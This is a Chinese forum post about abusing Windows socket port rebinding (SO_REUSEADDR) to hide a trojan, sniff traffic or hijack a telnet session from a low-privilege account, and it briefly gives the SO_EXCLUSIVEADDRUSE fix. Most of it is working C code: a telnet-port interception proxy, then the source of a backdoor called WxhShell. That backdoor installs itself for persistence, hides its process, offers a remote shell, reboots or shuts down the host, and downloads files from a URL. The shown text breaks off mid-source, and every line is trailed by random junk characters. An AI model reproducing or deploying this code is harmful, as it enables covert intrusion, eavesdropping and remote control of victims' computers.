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[讨论]用端口截听实现隐藏嗅探与攻击

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在WINDOWS的SOCKET服务器应用的编程中,如下的语句或许比比都是: ?n9$,-^v  
  s=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP); W];6u  
!VJa$>,  
  saddr.sin_family = AF_INET; x"wM_hl5L  
\lbiz4^>  
  saddr.sin_addr.s_addr = htonl(INADDR_ANY);  wpdEI(  
!Ub?eJp  
  bind(s,(SOCKADDR *)&saddr,sizeof(saddr)); ~Ro:mH: w  
=ci5&B?  
  其实这当中存在在非常大的安全隐患,因为在winsock的实现中,对于服务器的绑定是可以多重绑定的,在确定多重绑定使用谁的时候,根据一条原则是谁的指定最明确则将包递交给谁,而且没有权限之分,也就是说低级权限的用户是可以重绑定在高级权限如服务启动的端口上的,这是非常重大的一个安全隐患。 +#I~#CV!  
o&F.mYnqX  
  这意味着什么?意味着可以进行如下的攻击: O+o%C*`K  
"g:&Ge*X  
  1。一个木马绑定到一个已经合法存在的端口上进行端口的隐藏,他通过自己特定的包格式判断是不是自己的包,如果是自己处理,如果不是通过127.0.0.1的地址交给真正的服务器应用进行处理。 <K[Zl/7I  
9MzkG87J  
  2。一个木马可以在低权限用户上绑定高权限的服务应用的端口,进行该处理信息的嗅探,本来在一个主机上监听一个SOCKET的通讯需要具备非常高的权限要求,但其实利用SOCKET重绑定,你可以轻易的监听具备这种SOCKET编程漏洞的通讯,而无须采用什么挂接,钩子或低层的驱动技术(这些都需要具备管理员权限才能达到) POg0=32  
5 EuJ  
  3。针对一些的特殊应用,可以发起中间人攻击,从低权限用户上获得信息或事实欺骗,如在guest权限下拦截telnet服务器的23端口,如果是采用NTLM加密认证,虽然你无法通过嗅探直接获取密码,但一旦有admin用户通过你登陆以后,你的应用就完全可以发起中间人攻击,扮演这个登陆的用户通过SOCKET发送高权限的命令,到达入侵的目的。 8Y0<lfG  
WmVw>.]@~  
  4.对于构建的WEB服务器,入侵者只需要获得低级的权限,就可以完全达到更改网页目的,很简单,扮演你的服务器给予连接请求以其他信息的应答,甚至是基于电子商务上的欺骗,获取非法的数据。  MqBATW.pmJ  
0l1]QD+Gc5  
  其实,MS自己的很多服务的SOCKET编程都存在这样的问题,telnet,ftp,http的服务实现全部都可以利用这种方法进行攻击,在低权限用户上实现对SYSTEM应用的截听。包括W2K+SP3的IIS也都一样,那么如果你已经可以以低权限用户入侵或木马植入的话,而且对方又开启了这些服务的话,那就不妨一试。并且我估计还有很多第三方的服务也大多存在这个漏洞。 :*Ggz|  
h7]]F{r5  
  解决的方法很简单,在编写如上应用的时候,绑定前需要使用setsockopt指定SO_EXCLUSIVEADDRUSE要求独占所有的端口地址,而不允许复用。这样其他人就无法复用这个端口了。 5WJkeG ba  
pvR& ~g  
  下面就是一个简单的截听ms telnet服务器的例子,在GUEST用户下都能成功进行截听,剩余的就是大家根据自己的需要,进行一些特殊剪裁的问题了:如是隐藏,嗅探数据,高权限用户欺骗等。 bSmaE7  
Mjvso0zj  
  #include cf!k 9x9Z  
  #include %^%-h}1  
  #include &CmkNm_B  
  #include    GN;XB b]w  
  DWORD WINAPI ClientThread(LPVOID lpParam);   K<w5[E9V.  
  int main() >hL'#;:f#  
  { FHcqu_;J  
  WORD wVersionRequested; ` dUiz5o'  
  DWORD ret; z57papo  
  WSADATA wsaData; v8k ^=A:  
  BOOL val; *4^]?Y\*  
  SOCKADDR_IN saddr; BG8)bh k;/  
  SOCKADDR_IN scaddr; 0o=)&%G  
  int err; / bu<,o  
  SOCKET s; lg  
  SOCKET sc; +95dz?~  
  int caddsize; }7 z+  
  HANDLE mt; $)7f%II  
  DWORD tid;   z+D,:!yF  
  wVersionRequested = MAKEWORD( 2, 2 ); 5'-9?-S"  
  err = WSAStartup( wVersionRequested, &wsaData ); I2lZ>3X{  
  if ( err != 0 ) { ulSTR f  
  printf("error!WSAStartup failed!\n"); h%^kA@3F  
  return -1; 6:z&ukq E  
  } 3L]^x9Cu)  
  saddr.sin_family = AF_INET; RH4n0 =2  
   "l,EcZRjTz  
  //截听虽然也可以将地址指定为INADDR_ANY,但是要不能影响正常应用情况下,应该指定具体的IP,留下127.0.0.1给正常的服务应用,然后利用这个地址进行转发,就可以不影响对方正常应用了 Lm{ o=v  
,$qs9b~  
  saddr.sin_addr.s_addr = inet_addr("192.168.0.60"); H.[&gm}p>  
  saddr.sin_port = htons(23); <({eOh5 N  
  if((s=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP))==SOCKET_ERROR) {]Iu">*  
  { U`p<lxRgQ  
  printf("error!socket failed!\n"); _w/N[E  
  return -1; 5a_!&  
  } l<: E+lU  
  val = TRUE; JI,hy <3l0  
  //SO_REUSEADDR选项就是可以实现端口重绑定的 !X <n:J  
  if(setsockopt(s,SOL_SOCKET,SO_REUSEADDR,(char *)&val,sizeof(val))!=0) kpw4Mq@  
  { W!B4< 'Fjc  
  printf("error!setsockopt failed!\n"); wP':B AQ4U  
  return -1; S^VV^O5 ^  
  } a[cH@7W.#  
  //如果指定了SO_EXCLUSIVEADDRUSE,就不会绑定成功,返回无权限的错误代码; : 8<^rP  
  //如果是想通过重利用端口达到隐藏的目的,就可以动态的测试当前已绑定的端口哪个可以成功,就说明具备这个漏洞,然后动态利用端口使得更隐蔽 X/7_mU>aKT  
  //其实UDP端口一样可以这样重绑定利用,这儿主要是以TELNET服务为例子进行攻击 =pOY+S|  
*K.7Zf0  
  if(bind(s,(SOCKADDR *)&saddr,sizeof(saddr))==SOCKET_ERROR) KR(ftG'  
  { d>98 E9  
  ret=GetLastError(); BF [?* b  
  printf("error!bind failed!\n"); :tG".z  
  return -1; K y2xWd8  
  } gq1Y]t|4F  
  listen(s,2); 1WN93 SQ=  
  while(1) LHz<=]?@  
  { VEEeQy  
  caddsize = sizeof(scaddr); {-`OE  
  //接受连接请求 /)4r2x  
  sc = accept(s,(struct sockaddr *)&scaddr,&caddsize); ,T~5iLKY  
  if(sc!=INVALID_SOCKET) i4r~eneP  
  { W1`ZS*12D  
  mt = CreateThread(NULL,0,ClientThread,(LPVOID)sc,0,&tid); 76r s)J[*w  
  if(mt==NULL) t6e-~  
  { v~cW:I  
  printf("Thread Creat Failed!\n"); (4{9 QO  
  break; 4:PP[2?  
  } 3'e 4{  
  } &.4_4"l(  
  CloseHandle(mt); CHw_?#h  
  } O~ 0 1)%  
  closesocket(s); #p`7gFl  
  WSACleanup(); =e/4Gs0*  
  return 0; 0U*"OSpF  
  }   O~OWRJ@p  
  DWORD WINAPI ClientThread(LPVOID lpParam) A3pQ?d[  
  { DkKD~  
  SOCKET ss = (SOCKET)lpParam;  /?xn  
  SOCKET sc; {*$J&{6V  
  unsigned char buf[4096]; HKw:fGt/o^  
  SOCKADDR_IN saddr; M':.b+xN  
  long num; .Awq(  
  DWORD val; !I/kz }N@  
  DWORD ret; R0d|j#vP  
  //如果是隐藏端口应用的话,可以在此处加一些判断 oXkhj,{y5  
  //如果是自己的包,就可以进行一些特殊处理,不是的话通过127.0.0.1进行转发   /n7,B}  
  saddr.sin_family = AF_INET; O;?~#E<6w  
  saddr.sin_addr.s_addr = inet_addr("127.0.0.1"); Bcon4  
  saddr.sin_port = htons(23); I>Yp=R  
  if((sc=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP))==SOCKET_ERROR) CWYJ<27v{  
  { B[X6A Qj}d  
  printf("error!socket failed!\n"); to=##&ld<  
  return -1; 94@!.11  
  } yuX 0Y{:I  
  val = 100; DP]|}8~L  
  if(setsockopt(sc,SOL_SOCKET,SO_RCVTIMEO,(char *)&val,sizeof(val))!=0) {~h\;>  
  { W)hby`k  
  ret = GetLastError(); K(<P" g(  
  return -1; #7ZBbq3=  
  } p<19 Jw<  
  if(setsockopt(ss,SOL_SOCKET,SO_RCVTIMEO,(char *)&val,sizeof(val))!=0) JCfToFB  
  { R\amcQ 9  
  ret = GetLastError(); |c/rHEZ  
  return -1;  m:Abq`C  
  } =ApT#*D)o  
  if(connect(sc,(SOCKADDR *)&saddr,sizeof(saddr))!=0) *60)Vo.=  
  { ".<p R} qp  
  printf("error!socket connect failed!\n"); e'&{KD,-T  
  closesocket(sc);  E/;YhFb[  
  closesocket(ss); \c}r6xOr  
  return -1; j=S"KVp9NF  
  } wJkkc9Rh'(  
  while(1) 2]ljm] \l  
  { L1i> %5:g  
  //下面的代码主要是实现通过127。0。0。1这个地址把包转发到真正的应用上,并把应答的包再转发回去。 oP 0j>i,"&  
  //如果是嗅探内容的话,可以再此处进行内容分析和记录 h--bN*}H2  
  //如果是攻击如TELNET服务器,利用其高权限登陆用户的话,可以分析其登陆用户,然后利用发送特定的包以劫持的用户身份执行。 HI 61rXNF  
  num = recv(ss,buf,4096,0); iNSJOS  
  if(num>0) V'/%)oU\"  
  send(sc,buf,num,0); \0*LfVr;P  
  else if(num==0) a $:N9&P  
  break; c'R|Wyf  
  num = recv(sc,buf,4096,0); ^]gl#&"D  
  if(num>0) {'kL]qLg  
  send(ss,buf,num,0); #JucOWxjY  
  else if(num==0) '~J6 mojE  
  break; gHshG;z*  
  } {Aw3Itef  
  closesocket(ss); %b6wo?%*  
  closesocket(sc); \_bX2Lg  
  return 0 ; 3 2D/%dHC  
  } /p"R}&z  
6si-IJ  
r |/9Dn%  
========================================================== p\\q[6  
pE,BE%  
下边附上一个代码,,WXhSHELL 9~I WGj?  
]:fHvx_?`7  
========================================================== JN)t'm[kyE  
W:J00rsv=`  
#include "stdafx.h" d*HAKXd&:j  
JH#+E04#  
#include <stdio.h> N>Y3[G+  
#include <string.h> iwJgU b  
#include <windows.h> W0k q>s4  
#include <winsock2.h> 8<!9mgh  
#include <winsvc.h> Q-5wI$=  
#include <urlmon.h> bmpB$@  
t+ ]+Gn  
#pragma comment (lib, "Ws2_32.lib") ,#l oVLy  
#pragma comment (lib, "urlmon.lib") .*"IJD9  
&ii =$4"R  
#define MAX_USER   100 // 最大客户端连接数 7F\g3^ z9`  
#define BUF_SOCK   200 // sock buffer H1M>60*  
#define KEY_BUFF   255 // 输入 buffer WgB,,L,  
owhht98y(  
#define REBOOT     0   // 重启 Rim}DfO/  
#define SHUTDOWN   1   // 关机 &YNhKm@"  
\O~7X0 <W  
#define DEF_PORT   5000 // 监听端口 _P:P5H8  
*p^MAk9=  
#define REG_LEN     16   // 注册表键长度 |t_2AV  
#define SVC_LEN     80   // NT服务名长度 3RUB2c4  
}.zn:e  
// 从dll定义API jtwO\6 t&  
typedef DWORD (WINAPI pREGISTERSERVICEPROCESS) (DWORD,DWORD); ',pPs=  
typedef LONG (WINAPI *PROCNTQSIP)(HANDLE,UINT,PVOID,ULONG,PULONG); ZxW V ,s&p  
typedef BOOL (WINAPI *ENUMPROCESSMODULES) (HANDLE hProcess, HMODULE * lphModule, DWORD cb, LPDWORD lpcbNeeded); Op{Mc$5a  
typedef DWORD (WINAPI *GETMODULEBASENAME) (HANDLE hProcess, HMODULE hModule, LPTSTR lpBaseName, DWORD nSize); /o2eKx  
."O(Ig[  
// wxhshell配置信息 i1C'  
struct WSCFG { <0m;|Ai'W  
  int ws_port;         // 监听端口 v*LL7b0 A  
  char ws_passstr[REG_LEN]; // 口令 Kw|`y %~  
  int ws_autoins;       // 安装标记, 1=yes 0=no ZlzFmNe60  
  char ws_regname[REG_LEN]; // 注册表键名 { L5m`-x  
  char ws_svcname[REG_LEN]; // 服务名 ~-/AKaK}  
  char ws_svcdisp[SVC_LEN]; // 服务显示名 &#l M$7/  
  char ws_svcdesc[SVC_LEN]; // 服务描述信息 FCPbp!q6  
  char ws_passmsg[SVC_LEN]; // 密码输入提示信息 /2@@v|QL  
int ws_downexe;       // 下载执行标记, 1=yes 0=no @ 2_&ti  
char ws_fileurl[SVC_LEN]; // 下载文件的 url, "http://xxx/file.exe" w[&BY  
char ws_filenam[SVC_LEN]; // 下载后保存的文件名 -=w.tJD  
we9AB_y  
}; JiR|+6"7  
79DC]48M  
// default Wxhshell configuration rIb{=';  
struct WSCFG wscfg={DEF_PORT, yS""*8/  
    "xuhuanlingzhe", '4rgIs3=x"  
    1, &AVi4zV  
    "Wxhshell", qz&)|~,\C  
    "Wxhshell", 0% /M& N  
            "WxhShell Service", "oQ@.]-#  
    "Wrsky Windows CmdShell Service", mq L+W  
    "Please Input Your Password: ", <#-ERQw  
  1, )j]RFt  
  "http://www.wrsky.com/wxhshell.exe", Lnzhs;7L  
  "Wxhshell.exe" ;Mz]uk  
    }; ,J~dER\%  
;1nd~0o  
// 消息定义模块 q,GL#L  
char *msg_ws_copyright="\n\rWxhShell v1.0 (C)2005 http://www.wrsky.com\n\rMake by 虚幻灵者\n\r"; )r~Oj3TH  
char *msg_ws_prompt="\n\r? for help\n\r#>"; oS4ag  
char *msg_ws_cmd="\n\ri Install\n\rr Remove\n\rp Path\n\rb reboot\n\rd shutdown\n\rs Shell\n\rx exit\n\rq Quit\n\r\n\rDownload:\n\r#>http://.../server.exe\n\r"; va0 a4s1O  
char *msg_ws_ext="\n\rExit."; y~fy0P:T  
char *msg_ws_end="\n\rQuit."; @ h]H_  
char *msg_ws_boot="\n\rReboot..."; +j,;g#d  
char *msg_ws_poff="\n\rShutdown..."; Syk^7l  
char *msg_ws_down="\n\rSave to "; R/W&~t  
q3:tZoeXV  
char *msg_ws_err="\n\rErr!"; ~>n<b1}W  
char *msg_ws_ok="\n\rOK!"; =6$(m}(74  
g;pFT  
char ExeFile[MAX_PATH]; -vyC,A  
int nUser = 0; I zT%Kq  
HANDLE handles[MAX_USER]; k8TMdWW  
int OsIsNt; >&R|t_ypw  
.JqIAC~  
SERVICE_STATUS       serviceStatus; .o>QBYpTw/  
SERVICE_STATUS_HANDLE   hServiceStatusHandle; v:chr$>j5  
\0$?r4A  
// 函数声明 -l",!sV  
int Install(void); LM} si|  
int Uninstall(void); Ud](hp"  
int DownloadFile(char *sURL, SOCKET wsh); >\'yj| U,  
int Boot(int flag); ~BC5no  
void HideProc(void); c1`o3gb  
int GetOsVer(void); TsQMwV_h  
int Wxhshell(SOCKET wsl); MAXdgL[]  
void TalkWithClient(void *cs); Z8x(_ft5  
int CmdShell(SOCKET sock); G9 !1Wzs  
int StartFromService(void); }7V/(K  
int StartWxhshell(LPSTR lpCmdLine); z)26Ahm TV  
o|+tRl  
VOID WINAPI NTServiceMain( DWORD dwArgc, LPTSTR *lpszArgv ); F~B8XUa3  
VOID WINAPI NTServiceHandler( DWORD fdwControl ); Ah,Zm4:  
i[<O@Rb  
// 数据结构和表定义 6Z$T& Ul{  
SERVICE_TABLE_ENTRY DispatchTable[] = AXyuXB  
{ Y9WH%  
{wscfg.ws_svcname, NTServiceMain}, <1y%ch;  
{NULL, NULL} UX?_IgJh<"  
}; 0V^?~ex  
#E#70vWp\O  
// 自我安装 -+L1Hid.7  
int Install(void) ]OVjq ?  
{ by {~gu  
  char svExeFile[MAX_PATH]; \rpu=*gt  
  HKEY key; $j:0*Z=>  
  strcpy(svExeFile,ExeFile); 4l|Am3vzX  
mp#5V c  
// 如果是win9x系统,修改注册表设为自启动 . &e,8  
if(!OsIsNt) { Y/ `fPgE  
if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { G/y< bPQ  
  RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); GXAcy OV  
  RegCloseKey(key); Uz0mSfBp  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { G -;Yua2\  
  RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); ]?kf;A@  
  RegCloseKey(key); ':Te#S  
  return 0; Cc^t&Eg  
    } Po2YDj`  
  } !} 1p:@  
} P=h2Z,2  
else { = *sP, 6  
a7+BAma<  
// 如果是NT以上系统,安装为系统服务 <Z vG&  
SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_CREATE_SERVICE); =q._Qsj?fu  
if (schSCManager!=0) o5)U3U1|  
{ A`@we  
  SC_HANDLE schService = CreateService f.,-KIiF  
  ( dLAElTg  
  schSCManager, x*YJ :t  
  wscfg.ws_svcname, =$HzEzrw  
  wscfg.ws_svcdisp, W4N$]D=  
  SERVICE_ALL_ACCESS, 8]0^OSS  
  SERVICE_WIN32_OWN_PROCESS|SERVICE_INTERACTIVE_PROCESS , '{J!5x?L^  
  SERVICE_AUTO_START, #hai3>9|B  
  SERVICE_ERROR_NORMAL, P6X 4m(t  
  svExeFile, 03MB,  
  NULL, ZXco5,1  
  NULL, k -SUp8}g  
  NULL, t0wLj}"U  
  NULL, fD!O aK  
  NULL  ~d }-  
  ); L<E`~\C'  
  if (schService!=0) bNqjjg  
  { Abj`0\  
  CloseServiceHandle(schService); Bdq/Ohw|!  
  CloseServiceHandle(schSCManager); 7_JK2  
  strcpy(svExeFile,"SYSTEM\\CurrentControlSet\\Services\\"); )q#b^( v  
  strcat(svExeFile,wscfg.ws_svcname); "xh]>_;&'  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,svExeFile,&key)==ERROR_SUCCESS) { W nVX)o  
  RegSetValueEx(key,"Description",0,REG_SZ,(BYTE *)wscfg.ws_svcdesc,lstrlen(wscfg.ws_svcdesc)); )]/!:I4e  
  RegCloseKey(key); K$rH{dUM  
  return 0; [E=t{&t  
    } #Z fg  
  } QutQG  
  CloseServiceHandle(schSCManager); PPohpdd)  
} iJq}tIk#2'  
} utQ_!3u  
s,0,w--=  
return 1; e'u 9 SpJ  
} _$1W:!f4  
><$hFrR!  
// 自我卸载 f~E'0f_  
int Uninstall(void) M'*  Y  
{ & K7+V  
  HKEY key; }lWEbQ)(!  
9#1lxT4%  
if(!OsIsNt) { cP(/+ /9  
if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { BM:je(*p  
  RegDeleteValue(key,wscfg.ws_regname); o\2#o5#  
  RegCloseKey(key); ];IUiS1  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { KSLyU1W  
  RegDeleteValue(key,wscfg.ws_regname); p#3P`I>ZrT  
  RegCloseKey(key); 65MR(+3  
  return 0; {+Eq{8m`  
  } NC0x!tJ#7  
} bGDV9su  
} 7XdLZ4ub  
else { @ij}|k%*  
nE,"3X"   
SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_ALL_ACCESS); _w(SHWh2  
if (schSCManager!=0) (zUERw\a X  
{ 0E bs-kP  
  SC_HANDLE schService = OpenService( schSCManager, wscfg.ws_svcname, SERVICE_ALL_ACCESS); VN*^pAzlF  
  if (schService!=0) #S QFI;zj  
  { T#T!a0  
  if(DeleteService(schService)!=0) { TC ^EyjD  
  CloseServiceHandle(schService); eRD s?n3F  
  CloseServiceHandle(schSCManager); h4ZrD:D0\  
  return 0; BjJ+~R  
  } H+-9R  
  CloseServiceHandle(schService); 8W#whK2El  
  } (0^u  
  CloseServiceHandle(schSCManager); J5IQ  
} 2E;*kKw[  
} 2T iUo(MK  
=eYrz@,  
return 1; aA=qel  
} "]`!#5j^WP  
?/NxZ\  
// 从指定url下载文件 '%kk&&3'  
int DownloadFile(char *sURL, SOCKET wsh) RBiDU}j  
{ GtbI w  
  HRESULT hr; s&z+j%;+o  
char seps[]= "/"; A"p7N?|%  
char *token; s4t>/.;x  
char *file; :rwF5  
char myURL[MAX_PATH]; oT.g@kf=H  
char myFILE[MAX_PATH]; ^O4.$4t|  
2,'m]`;GNr  
strcpy(myURL,sURL); l3-;z)SgH  
  token=strtok(myURL,seps); k.?b2]@$  
  while(token!=NULL) Q+gQ"l,95  
  { 03[(dRK>=  
    file=token; P)ZGNtO9fG  
  token=strtok(NULL,seps); K5'@$Km  
  } W~FcU+a  
 >Xh 9{/o  
GetCurrentDirectory(MAX_PATH,myFILE); :*#I1nb$  
strcat(myFILE, "\\"); =((#kDrN  
strcat(myFILE, file); ABB4(_3E  
  send(wsh,myFILE,strlen(myFILE),0); r `VKb  
send(wsh,"...",3,0); z1_\P) M  
hr = URLDownloadToFile(0, sURL, myFILE, 0, 0); BY72fy#e  
  if(hr==S_OK) ?< mSEgvu  
return 0; !bS:!Il9=  
else }JoCk{<31  
return 1; 4mPCAA7  
^HQg$}=  
} rl[&s\[  
}`M[%]MNc  
// 系统电源模块 9psD"=/"  
int Boot(int flag) h )fi9  
{ ^.M*pe  
  HANDLE hToken; /c8F]fkZ=  
  TOKEN_PRIVILEGES tkp; zuwCN.  
+.NopI3:  
  if(OsIsNt) { PL[7|_%  
  OpenProcessToken(GetCurrentProcess(),TOKEN_ADJUST_PRIVILEGES | TOKEN_QUERY, &hToken); 1\TXb!OtL  
    LookupPrivilegeValue(NULL, SE_SHUTDOWN_NAME,&tkp.Privileges[0].Luid); kuqf(  
    tkp.PrivilegeCount = 1; RL SP?o2J  
    tkp.Privileges[0].Attributes = SE_PRIVILEGE_ENABLED; +m]$P,yMt  
    AdjustTokenPrivileges(hToken, FALSE, &tkp, 0,(PTOKEN_PRIVILEGES)NULL, 0); St^s"A  
if(flag==REBOOT) { (s z=IB ;  
  if(ExitWindowsEx(EWX_REBOOT | EWX_FORCE, 0)) F2:?lmhL<  
  return 0; sJ{NbN~`I  
} C1Slx !}  
else { :"|}oKT%mP  
  if(ExitWindowsEx(EWX_POWEROFF | EWX_FORCE, 0)) ci <`*>l  
  return 0; =4 36/O`K  
} sTU`@}}  
  }  =6Ihk  
  else { 7ae8nZ3&  
if(flag==REBOOT) { t[Xx LG*  
  if(ExitWindowsEx(EWX_REBOOT + EWX_FORCE,0)) ]]J2#mN:n  
  return 0; ehPrxIyC  
} eI/9uR%  
else { JF IUD{>fp  
  if(ExitWindowsEx(EWX_SHUTDOWN + EWX_FORCE,0)) Yc BY[i0  
  return 0; %c*azo.  
} ~8o's`  
} jqh d<w  
Nl"< $/  
return 1; F\ yxXOI  
} "}Of f  
!Y8us"   
// win9x进程隐藏模块 d;daYjOm  
void HideProc(void) T&   
{ t-)C0<  
l}A8  
  HINSTANCE hKernel=LoadLibrary("Kernel32.dll"); .;8T*  
  if ( hKernel != NULL ) 9# IKb:9k  
  { al.~[T-O+  
pREGISTERSERVICEPROCESS *pRegisterServiceProcess=(pREGISTERSERVICEPROCESS *)GetProcAddress(hKernel,"RegisterServiceProcess"); y+hC !-  
    ( *pRegisterServiceProcess)(GetCurrentProcessId(),1); $WI=a-;_e  
    FreeLibrary(hKernel); DBI[OG9  
  } ^w/_hY!4/  
 K!VIY|U  
return; 7y1J69IK  
} mzLDZ# =b  
I9-vV>:z  
// 获取操作系统版本 Y9F!HM-`  
int GetOsVer(void) KWq7M8mq  
{ K3Zc>QL{  
  OSVERSIONINFO winfo; C0|<+3uND=  
  winfo.dwOSVersionInfoSize=sizeof(OSVERSIONINFO); '5\7>2fI  
  GetVersionEx(&winfo); @kw#\%Uz  
  if(winfo.dwPlatformId==VER_PLATFORM_WIN32_NT) %6}S1fuA  
  return 1; \BOZhXfl'  
  else '8R5?9"  
  return 0; wuSp+?{5k  
} u=JI 1  
RcIGIt  
// 客户端句柄模块 t."hAvRL  
int Wxhshell(SOCKET wsl) %"Q{|}  
{ y w)q3zC  
  SOCKET wsh; &=oW=g2  
  struct sockaddr_in client; [#S}L(  
  DWORD myID; H|T!}M>  
g .ty#Z=:  
  while(nUser<MAX_USER) R}'kF63u*  
{ 9tvLj5~  
  int nSize=sizeof(client); [XK Ke  
    wsh=accept(wsl,(struct sockaddr *)&client,&nSize); TR/'L!EE  
  if(wsh==INVALID_SOCKET) return 1; |!NKKvf  
f0]8/)  
handles[nUser]=CreateThread(0,1000,(LPTHREAD_START_ROUTINE) TalkWithClient,(VOID *) wsh, 0, &myID); _C$JO   
if(handles[nUser]==0) sS/#)/B  
  closesocket(wsh); Rd7Xs  
else ,iY/\ U''  
  nUser++; @5+ JXD  
  } ]:m>pI*z.  
  WaitForMultipleObjects(MAX_USER,handles,TRUE,INFINITE); d~1Nct$:  
pCS2sq8RC  
  return 0; 6m"_=.k%  
} yNMnByg3?  
*u^N_y  
// 关闭 socket b0|q@!z>  
void CloseIt(SOCKET wsh) i>#[*.|P  
{ m`l3@ Z  
closesocket(wsh); ]@)T]  
nUser--; /*\pm!]._^  
ExitThread(0); , v,mBYaU  
} JfS:K'  
SV*h9LL  
// 客户端请求句柄 ~?TG SD@(  
void TalkWithClient(void *cs) !4cO]wh5  
{ 69AgPAv<k  
H)tnxD0)  
  SOCKET wsh=(SOCKET)cs;  Cg[]y1Ne  
  char pwd[SVC_LEN]; +`4`OVE_#  
  char cmd[KEY_BUFF]; ""Nu["|E  
char chr[1]; U+gOojRy{  
int i,j; p_T>"v  
'# K:e  
  while (nUser < MAX_USER) { o%_MTCANy  
eq +t%  
if(wscfg.ws_passstr) { 1~/?W^ir  
  if(strlen(wscfg.ws_passmsg)) send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0); {a -bew  
      //send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0); lIPy)25~  
  //ZeroMemory(pwd,KEY_BUFF); Sp8Xka~5*#  
      i=0; d1$3~Xl]  
  while(i<SVC_LEN) { fZ!fwg$  
VU6nu4   
  // 设置超时 0?59o!@h  
  fd_set FdRead; A??(}F L  
  struct timeval TimeOut; [!9 dA.tF  
  FD_ZERO(&FdRead); +NL^/y<;  
  FD_SET(wsh,&FdRead); {Wp+Y9c[  
  TimeOut.tv_sec=8; <8Y;9N|94!  
  TimeOut.tv_usec=0; "e.QiK  
  int Er=select(wsh+1, &FdRead, NULL, NULL, &TimeOut); 8Yfg@"Tn  
  if((Er==SOCKET_ERROR) || (Er==0)) CloseIt(wsh); l`D^)~o8  
ljg2P5  
  if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); ;O` \rP5w  
  pwd=chr[0]; s *$Re)}S  
  if(chr[0]==0xd || chr[0]==0xa) { JRQ{Q"`)  
  pwd=0; 0ant0<  
  break; rF C6"_  
  } J-C3k`%O  
  i++; \7M+0Ul1  
    } "J:~Aa%_  
xE%1C6~C<  
  // 如果是非法用户,关闭 socket q2v:lSFY  
        if(strcmp(pwd,wscfg.ws_passstr)) CloseIt(wsh); + <AD  
} {*WJ"9ujp]  
'6U~|d  
send(wsh,msg_ws_copyright,strlen(msg_ws_copyright),0); M, qX  
  send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); r~ gjn`W  
)wkh  
while(1) { X :2%U  
i oCoFj  
  ZeroMemory(cmd,KEY_BUFF); Fr{u=0 X  
n^<3E; a  
      // 自动支持客户端 telnet标准   ]C.x8(2!f  
  j=0; V/w:^@5+p  
  while(j<KEY_BUFF) { ~<b/%l>h1  
  if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); O 1T JJ8  
  cmd[j]=chr[0]; f+>l-6M+p  
  if(chr[0]==0xa || chr[0]==0xd) { "JI FF_  
  cmd[j]=0; 5)X;q-  
  break; WXz'H),R  
  } S |SN3)  
  j++; IHqY/j  
    } Kjbt1n  
eZDqW)x  
  // 下载文件 :B(F ?9qK  
  if(strstr(cmd,"http://")) { cI}qMc  
  send(wsh,msg_ws_down,strlen(msg_ws_down),0); O^fg~g X  
  if(DownloadFile(cmd,wsh)) 8\,|T2w,X  
  send(wsh,msg_ws_err,strlen(msg_ws_err),0); BQYj"Wi  
  else yKE[,"  
  send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); ,>"rcd  
  } ,#=ykg*~/  
  else { kO3{2$S6  
.yz-o\,gF%  
    switch(cmd[0]) { K:PzR,nn  
  scmn-4j'{  
  // 帮助 [e1kfw  
  case '?': { Hg)5c!F7  
      send(wsh,msg_ws_cmd,strlen(msg_ws_cmd),0); l#7].-/  
    break; f tBbO8e  
  } >~O36q^w  
  // 安装 hw[jVx  
  case 'i': { +$]eA'Bh@  
    if(Install()) TBq;#+1W  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); |n9~2R   
    else I5RV:e5b  
    send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); 9o-fI@9  
    break; !N5+.E0j  
    } R Wa4O#  
  // 卸载 ^/;W;C{4  
  case 'r': { HI}$Z =C  
    if(Uninstall()) BR8W8nRb  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); $HjKELoJ<  
    else x!\FB.h4!(  
    send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); ,:yv T6)p  
    break; =n $@  
    } uP,{yna(  
  // 显示 wxhshell 所在路径 `x;8,7W;B  
  case 'p': { ) V}q7\G~  
    char svExeFile[MAX_PATH]; k+k&}8e  
    strcpy(svExeFile,"\n\r"); .54E*V1  
      strcat(svExeFile,ExeFile); f.f5f%lO~  
        send(wsh,svExeFile,strlen(svExeFile),0);  U)oH@/q  
    break; =GO/r; 4  
    } )c9]}:W&  
  // 重启 k< b`v&G  
  case 'b': { u15-|i{y7  
    send(wsh,msg_ws_boot,strlen(msg_ws_boot),0); oicett=5  
    if(Boot(REBOOT)) P3[+c4  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); bkmW[w:M  
    else { -VK 6Fq  
    closesocket(wsh); }z/;^``  
    ExitThread(0); rE?(_LI  
    } RG(m:N  
    break; SB5DL_q  
    } BoZ G^  
  // 关机 ]7WBoC8  
  case 'd': { ?3 :OPP`s  
    send(wsh,msg_ws_poff,strlen(msg_ws_poff),0); |&IS ZFSv  
    if(Boot(SHUTDOWN)) F|._'i+B!  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); gcImk0NIY  
